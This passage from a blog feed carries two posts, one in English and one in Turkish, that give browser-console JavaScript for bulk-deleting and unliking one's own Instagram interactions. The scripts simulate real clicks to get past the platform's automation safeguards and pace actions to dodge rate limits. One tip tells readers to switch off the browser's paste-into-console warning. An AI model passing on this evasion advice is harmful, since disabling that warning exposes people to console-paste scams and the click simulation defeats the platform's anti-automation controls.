&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;modalUnlikeBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Confirmation button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalUnlikeBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalUnlikeBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unlikedCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;unlikedCount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"No more likes to unlike."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksUnlike&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalUnlike&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Cycle &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;unlikedCount&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; likes unliked.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Operation stopped:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="potential-issues-and-solutions"&gt;🛠️ Potential Issues and Solutions&lt;a class="headerlink" href="#potential-issues-and-solutions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Instagram Action Limit:&lt;/strong&gt; Instagram might impose temporary action limits while the script is running. In this case, you'll start seeing request errors in the console. To resolve this, increase the &lt;code&gt;CYCLE_DELAY&lt;/code&gt; value in the code to &lt;code&gt;30000&lt;/code&gt; (30 seconds) or higher, and keep the &lt;code&gt;MAX&lt;/code&gt; value at a low level, like &lt;code&gt;5&lt;/code&gt;. If you've been hit with a limit, take a break for at least 8 hours. If the limit persists after 8 hours, you might need to wait for 24 hours for your account to fully recover.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Button Not Found Error:&lt;/strong&gt; The page might not have fully loaded yet, or your language setting is not English. Refresh the page, ensure the language is set to English, and then run the code again.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;I Want to Stop the Script:&lt;/strong&gt; You can paste and run the following code in the console. Alternatively, if you don't want to mess with the code at all, you can stop the script instantly by refreshing the browser page (press F5).
    &lt;code&gt;javascript
    window.__STOP_IG_BULK_DELETE__ = true;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you're experiencing an annoying visual issue with the keyboard on the mobile app, you can also check out my previously prepared guide: &lt;a href="/en/instagram-klavye-yorum-kutusu-sorunu/"&gt;What to Do If the Keyboard Covers the Comment Box in Instagram&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you also want to clean up your past, my friend, you can get rid of this hassle effortlessly by running the scripts above in your browser console. Don't forget to share your experiences in the comments!&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Those curious about the old demo video I mentioned can check out my &lt;a href="https://www.instagram.com/p/CEOCOVTjnLo/" rel="noopener noreferrer" target="_blank"&gt;Instagram post&lt;/a&gt;.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;You can also access all interaction pages from the "Your activity" panel in the left menu on the Instagram web version.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Otomasyon"/><category term="Instagram"/><category term="JavaScript"/><category term="Automation"/><category term="Browser Console"/></entry><entry><title>Instagram Toplu Yorum ve Beğeni Silme Rehberi</title><link href="https://yuceltoluyag.github.io/instagram-toplu-yorum-ve-begeni-silme-rehberi/" rel="alternate"/><published>2026-05-31T09:30:00+03:00</published><updated>2026-05-31T09:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-31:/instagram-toplu-yorum-ve-begeni-silme-rehberi/</id><summary type="html">&lt;p&gt;Instagram geçmişini temizlemek isteyenler için Bloks UI engelini aşan, tarayıcı konsolunda çalışan pratik JavaScript otomasyon rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en g&amp;uuml;n bilgisayar&amp;inodot;mdaki eski ar&amp;scedil;ivleri kar&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;rken g&amp;ouml;z&amp;uuml;m y&amp;inodot;llar &amp;ouml;nce yazd&amp;inodot;&amp;gbreve;&amp;inodot;m o me&amp;scedil;hur Instagram botunun kodlar&amp;inodot;na ve o d&amp;ouml;nem &amp;ccedil;ekti&amp;gbreve;im demo videosuna &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; tak&amp;inodot;ld&amp;inodot;. O zamanlar Instagram'&amp;inodot;n toplam &amp;uuml;ye say&amp;inodot;s&amp;inodot; zaten topu topu 2 milyon faland&amp;inodot;, bizim bot da sa&amp;gbreve; olsun 1.9 milyonuna bizzat dokundu 😂 &amp;Idot;&amp;scedil;in komik taraf&amp;inodot;, o d&amp;ouml;nem bot kullanan herkes &amp;ccedil;at&amp;inodot;r &amp;ccedil;at&amp;inodot;r ban yerken bana merakla soruyordu: "Ulan herkes banlan&amp;inodot;rken sen nas&amp;inodot;l ban yemiyorsun?" diye 😎 O d&amp;ouml;nem botu Selenium'dan &amp;ccedil;&amp;inodot;kar&amp;inodot;p mobil cihazlarda UI Automator ile &amp;ccedil;al&amp;inodot;&amp;scedil;acak seviyeye getirmi&amp;scedil;tim. 📱&lt;/p&gt;
&lt;script async="" src="//www.instagram.com/embed.js"&gt;&lt;/script&gt;
&lt;p&gt;Y&amp;inodot;llar ge&amp;ccedil;ti ama Instagram'&amp;inodot;n kullan&amp;inodot;c&amp;inodot;ya eziyet etme politikas&amp;inodot; pek de&amp;gbreve;i&amp;scedil;medi. 🤦&amp;zwj;&amp;male;️ Y&amp;inodot;l olmu&amp;scedil; 2026, koca platformda toplu i&amp;scedil;lemlerin hi&amp;ccedil;birini d&amp;uuml;zg&amp;uuml;n yapam&amp;inodot;yorsunuz; her etkile&amp;scedil;imi tek tek elle silmek ve d&amp;uuml;zenlemek zorundas&amp;inodot;n&amp;inodot;z. Sosyal medyay&amp;inodot; ayda y&amp;inodot;lda bir kullanan, kenarda k&amp;ouml;&amp;scedil;ede &amp;uuml;&amp;ccedil; be&amp;scedil; etkile&amp;scedil;imi olan biri gibi davran&amp;inodot;yorlar bize. Instagram'&amp;inodot;n kendi aray&amp;uuml;z&amp;uuml;nde binlerce yorumu tek tek se&amp;ccedil;ip silmeye &amp;ccedil;al&amp;inodot;&amp;scedil;mak, ka&amp;scedil;&amp;inodot;kla okyanusu bo&amp;scedil;altmaya benziyor. 🥄🌊&lt;/p&gt;
&lt;p&gt;&amp;Idot;nternette bu toplu silme i&amp;scedil;ini ger&amp;ccedil;ekle&amp;scedil;tiren taray&amp;inodot;c&amp;inodot; eklentileri var ve bunlar&amp;inodot; 20 euro gibi fiyatlardan sat&amp;inodot;yorlar. 💸 Ben ise bu rehberde ayn&amp;inodot; i&amp;scedil;i g&amp;ouml;ren JavaScript kodlar&amp;inodot;n&amp;inodot; dostum, sana bedavadan biraz daha pahal&amp;inodot;ya (yani tamamen &amp;uuml;cretsiz) sunuyorum 😂&lt;/p&gt;
&lt;p&gt;Bu kod sayesinde neredeyse 1 g&amp;uuml;nde kendi hesab&amp;inodot;m&amp;inodot; tertemiz ettim. ✨ Asl&amp;inodot;nda Instagram ba&amp;scedil;ta g&amp;ouml;z&amp;uuml;m&amp;uuml; korkutmu&amp;scedil;tu. Eskiden profilimi temizlemeye yeltendi&amp;gbreve;imde "&amp;Ccedil;ok fazla ayn&amp;inodot; &amp;scedil;eyi yap&amp;inodot;yorsun" diyerek 1 g&amp;uuml;n boyunca engel koyuyor, hesab&amp;inodot;n baz&amp;inodot; temel i&amp;scedil;levlerini bozuyordu. 🚫 Ancak bu y&amp;ouml;ntemle &amp;scedil;u ana kadar on binlerce yorum ve be&amp;gbreve;eniyi sorunsuzca sildim, tek bir uyar&amp;inodot; bile almad&amp;inodot;m. Bunun s&amp;inodot;rr&amp;inodot;, silme ve be&amp;gbreve;eniyi geri &amp;ccedil;ekme i&amp;scedil;lemlerinde tek seferde se&amp;ccedil;ilecek adeti (&lt;code&gt;MAX&lt;/code&gt; de&amp;gbreve;erini) en fazla 20 seviyesinde tutmam oldu.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="neden-standart-tklama-yontemleri-calsmyor"&gt;💡 Neden Standart T&amp;inodot;klama Y&amp;ouml;ntemleri &amp;Ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yor?&lt;a class="headerlink" href="#neden-standart-tklama-yontemleri-calsmyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Instagram, aray&amp;uuml;z&amp;uuml;nde klasik HTML elementleri yerine &lt;strong&gt;Bloks&lt;/strong&gt; ad&amp;inodot; verilen dinamik bir yap&amp;inodot; kullan&amp;inodot;yor. Bu yap&amp;inodot;, do&amp;gbreve;rudan JavaScript'teki &lt;code&gt;element.click()&lt;/code&gt; gibi standart tetikleyicileri g&amp;uuml;venlik amac&amp;inodot;yla g&amp;ouml;rmezden gelir. &lt;/p&gt;
&lt;p&gt;Ben bu sorunu a&amp;scedil;mak i&amp;ccedil;in &lt;code&gt;realClick&lt;/code&gt; ad&amp;inodot;nda &amp;ouml;zel bir fonksiyon tasarlad&amp;inodot;m. Bu fonksiyon, taray&amp;inodot;c&amp;inodot;ya "buraya ger&amp;ccedil;ekten bir insan t&amp;inodot;kl&amp;inodot;yor" sinyali g&amp;ouml;ndermek i&amp;ccedil;in &lt;code&gt;mousedown&lt;/code&gt;, &lt;code&gt;mouseup&lt;/code&gt; ve &lt;code&gt;click&lt;/code&gt; pointer event'lerini s&amp;inodot;rayla ve ger&amp;ccedil;ek&amp;ccedil;i zamanlamalarla tetikliyor. Bu sayede platformun g&amp;uuml;venlik mekanizmalar&amp;inodot;na tak&amp;inodot;lmadan elemanlar&amp;inodot; otomatik se&amp;ccedil;ebiliyoruz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="hazrlk-ve-dikkat-edilmesi-gerekenler"&gt;🛠️ Haz&amp;inodot;rl&amp;inodot;k ve Dikkat Edilmesi Gerekenler&lt;a class="headerlink" href="#hazrlk-ve-dikkat-edilmesi-gerekenler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Beti&amp;gbreve;i &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmadan &amp;ouml;nce &amp;scedil;u kritik kurallara dikkat etmemiz gerekiyor:&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dil Ayar&amp;inodot; Zorunlulu&amp;gbreve;u:&lt;/strong&gt; Instagram hesab&amp;inodot;n&amp;inodot;z&amp;inodot;n aray&amp;uuml;z dili mutlaka &lt;strong&gt;&amp;Idot;ngilizce (English)&lt;/strong&gt; olmal&amp;inodot;d&amp;inodot;r. Betikler butondaki "Select", "Delete" ve "Unlike" metinlerini arayarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in T&amp;uuml;rk&amp;ccedil;e aray&amp;uuml;zde butonlar&amp;inodot; bulamaz ve durur.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Beti&amp;gbreve;i &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak istedi&amp;gbreve;iniz etkile&amp;scedil;im t&amp;uuml;r&amp;uuml;ne g&amp;ouml;re ilgili sayfaya gitmeniz son derece &amp;ouml;nemlidir. Hangi sekmede &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z bu kodlar&amp;inodot;n do&amp;gbreve;rulu&amp;gbreve;unu belirler:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Be&amp;gbreve;eniler (Likes) Sayfas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/likes" rel="noopener noreferrer" target="_blank"&gt;Likes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yorumlar (Comments) Sayfas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/comments" rel="noopener noreferrer" target="_blank"&gt;Comments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repostlar Sayfas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/reposts" rel="noopener noreferrer" target="_blank"&gt;Reposts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hikaye Yan&amp;inodot;tlar&amp;inodot; Sayfas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/story_replies" rel="noopener noreferrer" target="_blank"&gt;Story Replies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;De&amp;gbreve;erlendirmeler Sayfas&amp;inodot;:&lt;/strong&gt; &lt;a href="https://www.instagram.com/your_activity/interactions/reviews" rel="noopener noreferrer" target="_blank"&gt;Reviews&lt;/a&gt; &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bilgisayar&amp;inodot;n&amp;inodot;zdan Instagram web s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; a&amp;ccedil;&amp;inodot;n ve giri&amp;scedil; yap&amp;inodot;n.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Silmek istedi&amp;gbreve;iniz etkile&amp;scedil;im t&amp;uuml;r&amp;uuml;ne g&amp;ouml;re yukar&amp;inodot;daki ba&amp;gbreve;lant&amp;inodot;lardan uygun sayfaya gidin.&lt;/li&gt;
&lt;li&gt;Taray&amp;inodot;c&amp;inodot;n&amp;inodot;zda sa&amp;gbreve; t&amp;inodot;klay&amp;inodot;p &lt;strong&gt;&amp;Idot;ncele (Inspect)&lt;/strong&gt; deyin veya &lt;code&gt;F12&lt;/code&gt; tu&amp;scedil;uyla geli&amp;scedil;tirici konsolunu (Console) a&amp;ccedil;&amp;inodot;n.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Konsol Engeli &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;:&lt;/strong&gt; E&amp;gbreve;er taray&amp;inodot;c&amp;inodot;n&amp;inodot;z konsola kod yap&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot;z&amp;inodot; engelliyorsa, konsol sat&amp;inodot;r&amp;inodot;na &lt;code&gt;allow pasting&lt;/code&gt; yaz&amp;inodot;p Enter tu&amp;scedil;una bas&amp;inodot;n. Ard&amp;inodot;ndan beti&amp;gbreve;i tekrar yap&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot; deneyin.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="1-yorumlar-paylasmlar-hikaye-yantlar-ve-degerlendirmeler-icin-silme-betigi"&gt;📝 1. Yorumlar, Payla&amp;scedil;&amp;inodot;mlar, Hikaye Yan&amp;inodot;tlar&amp;inodot; ve De&amp;gbreve;erlendirmeler &amp;Idot;&amp;ccedil;in Silme Beti&amp;gbreve;i&lt;a class="headerlink" href="#1-yorumlar-paylasmlar-hikaye-yantlar-ve-degerlendirmeler-icin-silme-betigi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki betik; yorumlar&amp;inodot;n&amp;inodot;z&amp;inodot;, repostlar&amp;inodot;n&amp;inodot;z&amp;inodot;, hikaye yan&amp;inodot;tlar&amp;inodot;n&amp;inodot;z&amp;inodot; ve de&amp;gbreve;erlendirmelerinizi (reviews) toplu olarak silmek i&amp;ccedil;in kullan&amp;inodot;l&amp;inodot;r. Kodu kopyalay&amp;inodot;p konsola yap&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot;z ve Enter tu&amp;scedil;una basman&amp;inodot;z yeterlidir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * Instagram Toplu Etkile&amp;scedil;im Silme Beti&amp;gbreve;i&lt;/span&gt;
&lt;span class="cm"&gt; * Yorumlar, Repostlar, Hikaye Yan&amp;inodot;tlar&amp;inodot; ve De&amp;gbreve;erlendirmeler i&amp;ccedil;in.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;instagramBulkDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// G&amp;uuml;venli&amp;gbreve;iniz i&amp;ccedil;in tek seferde silinecek adeti d&amp;uuml;&amp;scedil;&amp;uuml;k tutun&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;Ccedil;evrimler aras&amp;inodot; bekleme s&amp;uuml;resi (ms)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;700&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1500&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 